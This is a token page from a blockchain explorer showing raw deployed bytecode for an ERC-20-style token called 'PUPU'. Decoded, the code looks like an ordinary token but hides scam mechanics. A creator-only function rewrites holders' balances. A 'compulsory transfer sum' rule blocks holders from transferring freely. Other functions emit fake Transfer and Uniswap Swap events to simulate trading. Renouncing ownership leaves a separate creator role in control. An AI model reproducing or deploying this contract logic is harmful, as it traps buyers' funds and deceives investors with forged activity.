61200689828a01611ad8565b935050608061201789828a01611a5a565b92505060a061202889828a01611b27565b9150509295509295509295565b6000806040838503121561204c5761204b611945565b5b600061205a85828601611a5a565b925050602061206b85828601611a5a565b9150509250929050565b600080fd5b60008083601f8401126120905761208f61194f565b5b8235905067ffffffffffffffff8111156120ad576120ac612075565b5b6020830191508360208202830111156120c9576120c8611a0c565b5b9250929050565b6000806000604084860312156120e9576120e8611945565b5b600084013567ffffffffffffffff8111156121075761210661194a565b5b6121138682870161207a565b9350935050602061212686828701611b27565b9150509250925092565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061218c602683611ba3565b915061219782612130565b604082019050919050565b600060208201905081810360008301526121bb8161217f565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006121f8601b83611ba3565b9150612203826121c2565b602082019050919050565b60006020820190508181036000830152612227816121eb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000612293601983611ba3565b915061229e8261225d565b602082019050919050565b600060208201905081810360008301526122c281612286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061230382611b06565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612335576123346122c9565b5b600182019050919050565b6000819050919050565b6000819050919050565b600061236f61236a61236584612340565b61234a565b611b06565b9050919050565b61237f81612354565b82525050565b600060808201905061239a6000830187611e2d565b6123a76020830186612376565b6123b46040830185612376565b6123c16060830184611e2d565b95945050505050565b60008160011c9050919050565b6000808291508390505b6001851115612421578086048111156123fd576123fc6122c9565b5b600185161561240c5780820291505b808102905061241a856123ca565b94506123e1565b94509492505050565b60008261243a57600190506124f6565b8161244857600090506124f6565b816001811461245e576002811461246857612497565b60019150506124f6565b60ff84111561247a576124796122c9565b5b8360020a915084821115612491576124906122c9565b5b506124f6565b5060208310610133831016604e8410600b84101617156124cc5782820a9050838111156124c7576124c66122c9565b5b6124f6565b6124d984848460016123d7565b925090508184048111156124f0576124ef6122c9565b5b81810290505b9392505050565b600061250882611b06565b915061251383611ed7565b92506125407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461242a565b905092915050565b600061255382611b06565b915061255e83611b06565b925082820261256c81611b06565b91508282048414831517612583576125826122c9565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b60006125c0601983611ba3565b91506125cb8261258a565b602082019050919050565b600060208201905081810360008301526125ef816125b3565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061262c602083611ba3565b9150612637826125f6565b602082019050919050565b6000602082019050818103600083015261265b8161261f565b9050919050565b600061266d82611b06565b915061267883611b06565b92508282039050818111156126905761268f6122c9565b5b92915050565b60006126a182611b06565b91506126ac83611b06565b92508282019050808211156126c4576126c36122c9565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b6000612726602b83611ba3565b9150612731826126ca565b604082019050919050565b6000602082019050818103600083015261275581612719565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612792601483611ba3565b915061279d8261275c565b602082019050919050565b600060208201905081810360008301526127c181612785565b9050919050565b60006040820190506127dd6000830185611f0e565b6127ea6020830184611f0e565b9392505050565b60008151905061280081611b10565b92915050565b60006020828403121561281c5761281b611945565b5b600061282a848285016127f1565b91505092915050565b6000819050919050565b600061285861285361284e84612833565b61234a565b611b06565b9050919050565b6128688161283d565b82525050565b60006040820190506128836000830185611f0e565b612890602083018461285f565b9392505050565b6128a081611c79565b81146128ab57600080fd5b50565b6000815190506128bd81612897565b92915050565b6000602082840312156128d9576128d8611945565b5b60006128e7848285016128ae565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61292581611a31565b82525050565b6000612937838361291c565b60208301905092915050565b6000602082019050919050565b600061295b826128f0565b61296581856128fb565b93506129708361290c565b8060005b838110156129a1578151612988888261292b565b975061299383612943565b925050600181019050612974565b5085935050505092915050565b600060a0820190506129c36000830188611e2d565b6129d06020830187611e2d565b81810360408301526129e28186612950565b90506129f16060830185611f0e565b6129fe6080830184611e2d565b9695505050505050565b600081905092915050565b50565b6000612a23600083612a08565b9150612a2e82612a13565b600082019050919050565b6000612a4482612a16565b9150819050919050565b7f4620742073206500000000000000000000000000000000000000000000000000600082015250565b6000612a84600783611ba3565b9150612a8f82612a4e565b602082019050919050565b60006020820190508181036000830152612ab381612a77565b905091905056fea264697066735822122084092281dc1287cc6f0236832fab295ab7a65d7b0c08bb72afa9fb80f7f5f9c964736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063851be307116100b6578063c345cf231161006f578063c345cf2314610472578063c7f802411461049d578063dd62ed3e146104cd578063e03504af1461050a578063e156b1b614610535578063e44c9394146105725761014b565b8063851be3071461036057806391a027301461038957806395d89b41146103b4578063a713fd53146103df578063a7b088281461040a578063a9059cbb146104355761014b565b806322e95ff51161010857806322e95ff51461023c57806323b872dd14610279578063313ce567146102b65780635c01b60c146102e157806370a082311461030c578063715018a6146103495761014b565b8063058f2c371461015057806306fdde0314610179578063095ea7b3146101a457806311dbe793146101e157806318160ddd146102115761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061017760048036038101906101729190611b3c565b61059b565b005b34801561018557600080fd5b5061018e610752565b60405161019b9190611c17565b60405180910390f35b3480156101b057600080fd5b506101cb60048036038101906101c69190611c39565b61078f565b6040516101d89190611c94565b60405180910390f35b6101fb60048036038101906101f69190611d72565b61088f565b6040516102089190611c94565b60405180910390f35b34801561021d57600080fd5b50610226610a05565b6040516102339190611e3c565b60405180910390f35b34801561024857600080fd5b50610263600480360381019061025e9190611e57565b610a28565b6040516102709190611e3c565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190611e84565b610a71565b6040516102ad9190611c94565b60405180910390f35b3480156102c257600080fd5b506102cb610d49565b6040516102d89190611ef3565b60405180910390f35b3480156102ed57600080fd5b506102f6610d52565b6040516103039190611c17565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190611e57565b610d8b565b6040516103409190611e3c565b60405180910390f35b34801561035557600080fd5b5061035e610dd4565b005b34801561036c57600080fd5b5061038760048036038101906103829190611e57565b610f10565b005b34801561039557600080fd5b5061039e610fd0565b6040516103ab9190611f1d565b60405180910390f35b3480156103c057600080fd5b506103c9610ffa565b6040516103d69190611c17565b60405180910390f35b3480156103eb57600080fd5b506103f4611037565b6040516104019190611ef3565b60405180910390f35b34801561041657600080fd5b5061041f61103c565b60405161042c9190611f1d565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190611c39565b611065565b6040516104699190611c94565b60405180910390f35b34801561047e57600080fd5b5061048761127a565b6040516104949190611e3c565b60405180910390f35b6104b760048036038101906104b29190611f38565b611299565b6040516104c49190611c94565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef9190612035565b6116f3565b6040516105019190611e3c565b60405180910390f35b34801561051657600080fd5b5061051f61177a565b60405161052c9190611c17565b60405180910390f35b34801561054157600080fd5b5061055c60048036038101906105579190611e84565b6117b3565b6040516105699190611c94565b60405180910390f35b34801561057e57600080fd5b50610599600480360381019061059491906120d0565b611825565b005b6105a3610fd0565b73ffffffffffffffffffffffffffffffffffffffff166105c1611933565b73ffffffffffffffffffffffffffffffffffffffff1614610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060e906121a2565b60405180910390fd5b600081101561065b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106529061220e565b60405180910390fd5b60005b825181101561074d57600083828151811061067c5761067b61222e565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec906122a9565b60405180910390fd5b82600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508080610745906122f8565b91505061065e565b505050565b60606040518060400160405280600481526020017f5055505500000000000000000000000000000000000000000000000000000000815250905090565b6000816001600061079e611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610838611933565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161087d9190611e3c565b60405180910390a36001905092915050565b600080600090505b84518110156109f85760008482815181106108b5576108b461222e565b5b6020026020010151905060008683815181106108d4576108d361222e565b5b602002602001015190508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093b9190611e3c565b60405180910390a360008584815181106109585761095761222e565b5b602002602001015190508173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080866040516109da9493929190612385565b60405180910390a350505080806109f0906122f8565b915050610897565b5060019050949350505050565b60006009600a610a1591906124fd565b62c65d40610a239190612548565b905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610abd611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b30906125d6565b60405180910390fd5b6000610b4485610a28565b90506000811115610b9257808314610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8890612642565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be19190612662565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c379190612696565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c88611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cd19190612662565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d359190611e3c565b60405180910390a360019150509392505050565b60006009905090565b6040518060400160405280600481526020017f505550550000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ddc611933565b73ffffffffffffffffffffffffffffffffffffffff16610dfa61103c565b73ffffffffffffffffffffffffffffffffffffffff1614610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061273c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f18611933565b73ffffffffffffffffffffffffffffffffffffffff16610f3661103c565b73ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f839061273c565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5055505500000000000000000000000000000000000000000000000000000000815250905090565b600981565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000611074611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e7906127a8565b60405180910390fd5b60006111026110fd611933565b610a28565b905060008111156111505780831461114f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114690612642565b60405180910390fd5b5b826002600061115d611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a69190612662565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111fc9190612696565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16611222611933565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112679190611e3c565b60405180910390a3600191505092915050565b6009600a61128891906124fd565b62c65d406112969190612548565b81565b6000803490508373ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156112e757600080fd5b505af11580156112fb573d6000803e3d6000fd5b505050505060008473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30737a250d5630b4cf539739df2c5dacb4c659f2488d6040518363ffffffff1660e01b81526004016113519291906127c8565b602060405180830381865afa15801561136e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113929190612806565b905060008103611450578473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161140b92919061286e565b6020604051808303816000875af115801561142a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144e91906128c3565b505b60005b895181101561154457737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d79589838151811061149f5761149e61222e565b5b60200260200101518b84815181106114ba576114b961222e565b5b60200260200101518a8e86815181106114d6576114d561222e565b5b60200260200101518a6040518663ffffffff1660e01b81526004016114ff9594939291906129ae565b600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b50505050808061153c906122f8565b915050611453565b5060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115809190611f1d565b602060405180830381865afa15801561159d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c19190612806565b90508573ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b81526004016115fc9190611e3c565b600060405180830381600087803b15801561161657600080fd5b505af115801561162a573d6000803e3d6000fd5b505050506000611638611933565b73ffffffffffffffffffffffffffffffffffffffff168260405161165b90612a39565b60006040518083038185875af1925050503d8060008114611698576040519150601f19603f3d011682016040523d82523d6000602084013e61169d565b606091505b50509050806116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d890612a9a565b60405180910390fd5b60019450505050509695505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600481526020017f505550550000000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118129190611e3c565b60405180910390a3600190509392505050565b61182d610fd0565b73ffffffffffffffffffffffffffffffffffffffff1661184b611933565b73ffffffffffffffffffffffffffffffffffffffff16146118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906121a2565b60405180910390fd5b60005b8383905081101561192d5781600360008686858181106118c7576118c661222e565b5b90506020020160208101906118dc9190611e57565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611925906122f8565b9150506118a4565b50505050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61199d82611954565b810181811067ffffffffffffffff821117156119bc576119bb611965565b5b80604052505050565b60006119cf61193b565b90506119db8282611994565b919050565b600067ffffffffffffffff8211156119fb576119fa611965565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a3c82611a11565b9050919050565b611a4c81611a31565b8114611a5757600080fd5b50565b600081359050611a6981611a43565b92915050565b6000611a82611a7d846119e0565b6119c5565b90508083825260208201905060208402830185811115611aa557611aa4611a0c565b5b835b81811015611ace5780611aba8882611a5a565b845260208401935050602081019050611aa7565b5050509392505050565b600082601f830112611aed57611aec61194f565b5b8135611afd848260208601611a6f565b91505092915050565b6000819050919050565b611b1981611b06565b8114611b2457600080fd5b50565b600081359050611b3681611b10565b92915050565b60008060408385031215611b5357611b52611945565b5b600083013567ffffffffffffffff811115611b7157611b7061194a565b5b611b7d85828601611ad8565b9250506020611b8e85828601611b27565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bd2578082015181840152602081019050611bb7565b60008484015250505050565b6000611be982611b98565b611bf38185611ba3565b9350611c03818560208601611bb4565b611c0c81611954565b840191505092915050565b60006020820190508181036000830152611c318184611bde565b905092915050565b60008060408385031215611c5057611c4f611945565b5b6000611c5e85828601611a5a565b9250506020611c6f85828601611b27565b9150509250929050565b60008115159050919050565b611c8e81611c79565b82525050565b6000602082019050611ca96000830184611c85565b92915050565b600067ffffffffffffffff821115611cca57611cc9611965565b5b602082029050602081019050919050565b6000611cee611ce984611caf565b6119c5565b90508083825260208201905060208402830185811115611d1157611d10611a0c565b5b835b81811015611d3a5780611d268882611b27565b845260208401935050602081019050611d13565b5050509392505050565b600082601f830112611d5957611d5861194f565b5b8135611d69848260208601611cdb565b91505092915050565b60008060008060808587031215611d8c57611d8b611945565b5b6000611d9a87828801611a5a565b945050602085013567ffffffffffffffff811115611dbb57611dba61194a565b5b611dc787828801611ad8565b935050604085013567ffffffffffffffff811115611de857611de761194a565b5b611df487828801611d44565b925050606085013567ffffffffffffffff811115611e1557611e1461194a565b5b611e2187828801611d44565b91505092959194509250565b611e3681611b06565b82525050565b6000602082019050611e516000830184611e2d565b92915050565b600060208284031215611e6d57611e6c611945565b5b6000611e7b84828501611a5a565b91505092915050565b600080600060608486031215611e9d57611e9c611945565b5b6000611eab86828701611a5a565b9350506020611ebc86828701611a5a565b9250506040611ecd86828701611b27565b9150509250925092565b600060ff82169050919050565b611eed81611ed7565b82525050565b6000602082019050611f086000830184611ee4565b92915050565b611f1781611a31565b82525050565b6000602082019050611f326000830184611f0e565b92915050565b60008060008060008060c08789031215611f5557611f54611945565b5b600087013567ffffffffffffffff811115611f7357611f7261194a565b5b611f7f89828a01611ad8565b965050602087013567ffffffffffffffff811115611fa057611f9f61194a565b5b611fac89828a01611d44565b955050604087013567ffffffffffffffff811115611fcd57611fcc61194a565b5b611fd989828a01611d44565b945050606087013567ffffffffffffffff811115611ffa57611ff961194a565b5b61200689828a01611ad8565b935050608061201789828a01611a5a565b92505060a061202889828a01611b27565b9150509295509295509295565b6000806040838503121561204c5761204b611945565b5b600061205a85828601611a5a565b925050602061206b85828601611a5a565b9150509250929050565b600080fd5b60008083601f8401126120905761208f61194f565b5b8235905067ffffffffffffffff8111156120ad576120ac612075565b5b6020830191508360208202830111156120c9576120c8611a0c565b5b9250929050565b6000806000604084860312156120e9576120e8611945565b5b600084013567ffffffffffffffff8111156121075761210661194a565b5b6121138682870161207a565b9350935050602061212686828701611b27565b9150509250925092565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061218c602683611ba3565b915061219782612130565b604082019050919050565b600060208201905081810360008301526121bb8161217f565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006121f8601b83611ba3565b9150612203826121c2565b602082019050919050565b60006020820190508181036000830152612227816121eb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000612293601983611ba3565b915061229e8261225d565b602082019050919050565b600060208201905081810360008301526122c281612286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061230382611b06565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612335576123346122c9565b5b600182019050919050565b6000819050919050565b6000819050919050565b600061236f61236a61236584612340565b61234a565b611b06565b9050919050565b61237f81612354565b82525050565b600060808201905061239a6000830187611e2d565b6123a76020830186612376565b6123b46040830185612376565b6123c16060830184611e2d565b95945050505050565b60008160011c9050919050565b6000808291508390505b6001851115612421578086048111156123fd576123fc6122c9565b5b600185161561240c5780820291505b808102905061241a856123ca565b94506123e1565b94509492505050565b60008261243a57600190506124f6565b8161244857600090506124f6565b816001811461245e576002811461246857612497565b60019150506124f6565b60ff84111561247a576124796122c9565b5b8360020a915084821115612491576124906122c9565b5b506124f6565b5060208310610133831016604e8410600b84101617156124cc5782820a9050838111156124c7576124c66122c9565b5b6124f6565b6124d984848460016123d7565b925090508184048111156124f0576124ef6122c9565b5b81810290505b9392505050565b600061250882611b06565b915061251383611ed7565b92506125407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461242a565b905092915050565b600061255382611b06565b915061255e83611b06565b925082820261256c81611b06565b91508282048414831517612583576125826122c9565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b60006125c0601983611ba3565b91506125cb8261258a565b602082019050919050565b600060208201905081810360008301526125ef816125b3565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061262c602083611ba3565b9150612637826125f6565b602082019050919050565b6000602082019050818103600083015261265b8161261f565b9050919050565b600061266d82611b06565b915061267883611b06565b92508282039050818111156126905761268f6122c9565b5b92915050565b60006126a182611b06565b91506126ac83611b06565b92508282019050808211156126c4576126c36122c9565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b6000612726602b83611ba3565b9150612731826126ca565b604082019050919050565b6000602082019050818103600083015261275581612719565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612792601483611ba3565b915061279d8261275c565b602082019050919050565b600060208201905081810360008301526127c181612785565b9050919050565b60006040820190506127dd6000830185611f0e565b6127ea6020830184611f0e565b9392505050565b60008151905061280081611b10565b92915050565b60006020828403121561281c5761281b611945565b5b600061282a848285016127f1565b91505092915050565b6000819050919050565b600061285861285361284e84612833565b61234a565b611b06565b9050919050565b6128688161283d565b82525050565b60006040820190506128836000830185611f0e565b612890602083018461285f565b9392505050565b6128a081611c79565b81146128ab57600080fd5b50565b6000815190506128bd81612897565b92915050565b6000602082840312156128d9576128d8611945565b5b60006128e7848285016128ae565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61292581611a31565b82525050565b6000612937838361291c565b60208301905092915050565b6000602082019050919050565b600061295b826128f0565b61296581856128fb565b93506129708361290c565b8060005b838110156129a1578151612988888261292b565b975061299383612943565b925050600181019050612974565b5085935050505092915050565b600060a0820190506129c36000830188611e2d565b6129d06020830187611e2d565b81810360408301526129e28186612950565b90506129f16060830185611f0e565b6129fe6080830184611e2d565b9695505050505050565b600081905092915050565b50565b6000612a23600083612a08565b9150612a2e82612a13565b600082019050919050565b6000612a4482612a16565b9150819050919050565b7f4620742073206500000000000000000000000000000000000000000000000000600082015250565b6000612a84600783611ba3565b9150612a8f82612a4e565b602082019050919050565b60006020820190508181036000830152612ab381612a77565b905091905056fea264697066735822122084092281dc1287cc6f0236832fab295ab7a65d7b0c08bb72afa9fb80f7f5f9c964736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.